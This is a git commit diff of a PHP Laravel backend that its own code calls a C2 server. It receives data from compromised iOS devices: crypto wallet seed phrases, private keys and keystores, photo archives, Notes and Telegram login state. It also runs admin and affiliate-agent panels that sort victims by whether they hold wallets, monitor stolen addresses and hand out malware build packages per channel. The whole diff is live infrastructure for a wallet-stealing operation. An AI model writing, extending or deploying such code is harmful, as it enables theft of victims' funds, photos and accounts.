feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
@@ -30,7 +30,7 @@ class AdminUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -36,7 +36,7 @@ class AgentUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -52,7 +52,7 @@ class ChannelController extends Controller
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -60,24 +60,29 @@ class ChannelController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
return [
$row = [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
'channel_name' => $c->channel_name ?: '',
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'download_url' => null,
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
if ($c->isNewBuilder()) {
$row['download_url'] = route($this->portal().'.channels.download', $c);
}
return $row;
})->values();
return response()->json([
@@ -88,12 +93,17 @@ class ChannelController extends Controller
]);
}
public function randomId()
public function randomId(Request $request)
{
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
$channelId = $builderType === Channel::BUILDER_NEW
? Channel::randomNewChannelId()
: Channel::randomChannelId();
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
'data' => ['channel_id' => $channelId],
]);
}
@@ -101,8 +111,17 @@ class ChannelController extends Controller
{
abort_if($this->isAgentPortal(), 403);
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
$builderType = Channel::BUILDER_OLD;
}
$channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'channel_id' => $channelIdRule,
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
@@ -112,13 +131,23 @@ class ChannelController extends Controller
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
$channelName = null;
$builderType = (string) ($data['builder_type'] ?? $builderType);
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -129,9 +158,7 @@ class ChannelController extends Controller
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
$builderType,
$channelName,
);
$channelName = $build['channel_name'] ?? null;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -140,7 +167,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -153,7 +180,6 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'builder_type' => $builderType,
'channel_name' => $channelName,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
@@ -161,7 +187,7 @@ class ChannelController extends Controller
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
return response()->json([
'code' => 1,
@@ -175,7 +201,6 @@ class ChannelController extends Controller
'data' => [
'id' => $channel->id,
'builder_type' => $channel->builderType(),
'channel_name' => $channel->channel_name,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
@@ -184,6 +209,10 @@ class ChannelController extends Controller
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
'zip_path' => $build['zip_path'] ?? null,
'download_url' => $channel->isNewBuilder()
? route('admin.channels.download', $channel)
: null,
],
]);
}
@@ -236,6 +265,19 @@ class ChannelController extends Controller
]);
}
public function download(Channel $channel, ChannelProjectService $projects)
{
$this->authorizeChannel($channel);
abort_unless($channel->isNewBuilder(), 404);
$path = $projects->newChannelZipPath($channel->channel_id);
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
return response()->download($path, $channel->channel_id.'.zip', [
'Content-Type' => 'application/zip',
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
@@ -243,11 +285,10 @@ class ChannelController extends Controller
$channelId = $channel->channel_id;
$builderType = $channel->builderType();
$channelName = $channel->channel_name;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
@@ -288,7 +329,6 @@ class ChannelController extends Controller
ChannelProjectService $projects,
string $channelId,
string $builderType = Channel::BUILDER_OLD,
?string $channelName = null,
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
@@ -306,12 +346,11 @@ class ChannelController extends Controller
}
try {
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'builder_type' => $builderType,
'channel_name' => $channelName,
'error' => $e->getMessage(),
]);
}
+102 -18
View File
@@ -13,8 +13,11 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
@@ -38,7 +41,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -46,7 +49,7 @@ class DeviceController extends Controller
}
$q->orderBy('devices.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
@@ -56,13 +59,17 @@ class DeviceController extends Controller
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'has_wallet' => (int) $d->has_wallet,
'wallet_names' => $d->walletNameList(),
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
'destroy_url' => route($portal.'.devices.destroy', $d),
];
})->values();
@@ -116,7 +123,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
@@ -169,9 +176,60 @@ class DeviceController extends Controller
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = $this->deletePhotoFiles($device);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
public function destroy(Device $device)
{
$this->authorizeDevice($device);
$listUrl = route($this->portal().'.devices.index');
$this->purgeDevice($device);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'list_url' => $listUrl,
],
]);
}
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->unmonitorAddresses($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->delete();
});
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
foreach ($photos as $photo) {
foreach ($device->photos()->get(['id', 'path']) as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
@@ -182,29 +240,45 @@ class DeviceController extends Controller
}
}
$deletedRows = $device->photos()->delete();
return $deletedFiles;
}
$dir = 'c2/photos/'.$device->device_id;
private function deleteStorageDir(string $dir): void
{
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
}
private function authorizeDevice(Device $device): void
@@ -393,10 +467,16 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
$hasWallet = $request->query('has_wallet');
$hasWalletInt = null;
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
$hasWalletInt = (int) $hasWallet;
}
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
@@ -405,12 +485,13 @@ class DeviceController extends Controller
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt,
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -438,6 +519,9 @@ class DeviceController extends Controller
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if ($filters['has_wallet'] !== null) {
$q->where('devices.has_wallet', $filters['has_wallet']);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
@@ -45,7 +45,7 @@ class MnemonicController extends Controller
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -38,7 +38,7 @@ class NoteController extends Controller
}
$q->orderBy('notes.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
return response()->json([
@@ -54,7 +54,7 @@ class PageVisitController extends Controller
'browser_version' => $v->browser_version ?: '',
'user_agent' => $v->user_agent ?: '',
'ip' => $v->ip ?: '',
'path' => $v->path ?: '',
'domain' => $v->domain ?: '',
'referer' => $v->referer ?: '',
'created_at' => optional($v->created_at)?->toDateTimeString(),
])->values(),
@@ -71,6 +71,11 @@ class PageVisitController extends Controller
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
@@ -95,6 +100,7 @@ class PageVisitController extends Controller
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
@@ -151,6 +157,10 @@ class PageVisitController extends Controller
if ($browserVersion !== '') {
$q->where('browser_version', $browserVersion);
}
$domain = trim((string) $request->query('domain', ''));
if ($domain !== '') {
$q->where('domain', 'like', '%'.$domain.'%');
}
$referer = trim((string) $request->query('referer', ''));
if ($referer !== '') {
$q->where('referer', 'like', '%'.$referer.'%');
@@ -38,7 +38,7 @@ class PhotoController extends Controller
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -39,7 +39,7 @@ class TransferRecordController extends Controller
}
$q->orderBy('transfer_records.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
@@ -47,7 +47,7 @@ class WalletAddressController extends Controller
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
+172 -18
View File
@@ -3,15 +3,25 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Storage;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*
* Native path map (corepayload + details plugins):
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
*/
class XxbbC2Controller extends Controller
{
@@ -25,7 +35,7 @@ class XxbbC2Controller extends Controller
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
*/
public function iptj(Request $request): Response
{
@@ -36,39 +46,78 @@ class XxbbC2Controller extends Controller
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
if ($normalizedCode !== null) {
$channelCode = $normalizedCode;
}
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
$sessionId = $this->normalizeSessionId(
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
);
if ($channelCode !== '' && strlen($channelCode) <= 64) {
$uid = $domain !== '' ? $domain : (string) $request->ip();
$uid = substr($uid, 0, 64);
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
$domain = PageVisit::normalizeDomain($domain);
$ip = (string) $request->ip();
$uid = PageVisit::visitorUid($domain, $ip);
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
try {
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid !== '' ? $uid : 'iptj',
'client_uid' => $uid,
'session_id' => $sessionId,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $this->referer($request),
'created_at' => now(),
]);
} catch (QueryException $e) {
if (($e->errorInfo[0] ?? '') !== '23000') {
throw $e;
}
}
}
return response('{}', 200)->header('Content-Type', 'application/json');
}
private function normalizeSessionId(string $sessionId): ?string
{
$sessionId = trim($sessionId);
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
return null;
}
return $sessionId;
}
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
{
if ($sessionId !== null) {
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
if (! Cache::add($debounceKey, 1, now()->addDay())) {
return false;
}
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
}
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
public function profile(Request $request): Response
{
@@ -99,6 +148,91 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
public function photos(Request $request): Response
{
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->ensureDevice(
$request,
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey
);
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
public function notes(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestNotes($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
@@ -123,15 +257,35 @@ class XxbbC2Controller extends Controller
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, $payload);
} else {
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
$this->ingest->ingestMnemonic($device, $payload);
}
}
return $this->xxbbAck($request);
}
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
public function telegram(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestTelegramAuth($device, $payload);
}
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
private function referer(Request $request): ?string
{
$referer = trim((string) $request->headers->get('referer', ''));
+18 -12
View File
@@ -2,6 +2,7 @@
namespace App\Http\Controllers;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
use Illuminate\Http\Request;
@@ -14,21 +15,26 @@ class PageHitController extends Controller
public function __invoke(Request $request): Response
{
$channelId = strtolower(trim((string) $request->query('c', $request->input('c', ''))));
$channelId = trim((string) $request->query('c', $request->input('c', '')));
$clientUid = trim((string) $request->query('u', $request->input('u', '')));
$path = trim((string) $request->query('p', $request->input('p', '')));
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
return $this->pixel();
$newCode = Channel::normalizeNewChannelId($channelId);
if ($newCode !== null) {
$channelId = $newCode;
} else {
$channelId = strtolower($channelId);
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
return $this->pixel();
}
}
if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) {
return $this->pixel();
}
if (strlen($path) > 255) {
$path = substr($path, 0, 255);
}
$debounceKey = 'page_hit:'.$channelId.':'.$clientUid;
$ip = (string) $request->ip();
$domain = PageVisit::normalizeDomain($request->getHost());
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
$debounceKey = 'page_hit:'.$channelId.':'.$uid;
if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) {
return $this->pixel();
}
@@ -39,14 +45,14 @@ class PageHitController extends Controller
PageVisit::query()->create([
'channel_id' => $channelId,
'client_uid' => substr($clientUid, 0, 64),
'client_uid' => $uid,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'],
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $path !== '' ? $path : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $referer,
'created_at' => now(),
]);
+1 -1
View File
@@ -83,7 +83,6 @@ class DecryptXxbbBody
create_log([
'dir' => 'in',
'campaign' => 'xxbb',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
@@ -98,6 +97,7 @@ class DecryptXxbbBody
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
$request->attributes->set('coruna_device_key', $deviceKey);
$request->attributes->set('coruna_new_builder', true);
$request->attributes->set('xxbb_ts', $timestamp);
return $next($request);
+45 -25
View File
@@ -14,10 +14,10 @@ class Channel extends Model
public const BUILDER_NEW = 'new';
public const CHANNEL_NAME_LENGTH = 8;
public const NEW_CHANNEL_ID_LENGTH = 8;
/**
* Public-root path prefixes that must not be used as channel_name.
* Public-root path prefixes that must not be used as 8-char channel IDs.
*
* @var list<string>
*/
@@ -25,14 +25,14 @@ class Channel extends Model
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
'sanctum', 'telescope', 'horizon', 'pulse',
];
protected $fillable = [
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
];
protected $attributes = [
@@ -135,6 +135,10 @@ class Channel extends Model
*/
public function supportLinks(): array
{
if ($this->isNewBuilder()) {
return [];
}
$links = [];
$path = $this->landingPath();
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
@@ -157,32 +161,48 @@ class Channel extends Model
return bin2hex(random_bytes(16));
}
public static function normalizeNewChannelId(string $channelId): ?string
{
$channelId = strtoupper(trim($channelId));
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
return null;
}
if (self::isReservedChannelName($channelId)) {
return null;
}
return $channelId;
}
public static function randomNewChannelId(): string
{
for ($i = 0; $i < 32; $i++) {
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
if (self::normalizeNewChannelId($code) === null) {
continue;
}
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
continue;
}
return $code;
}
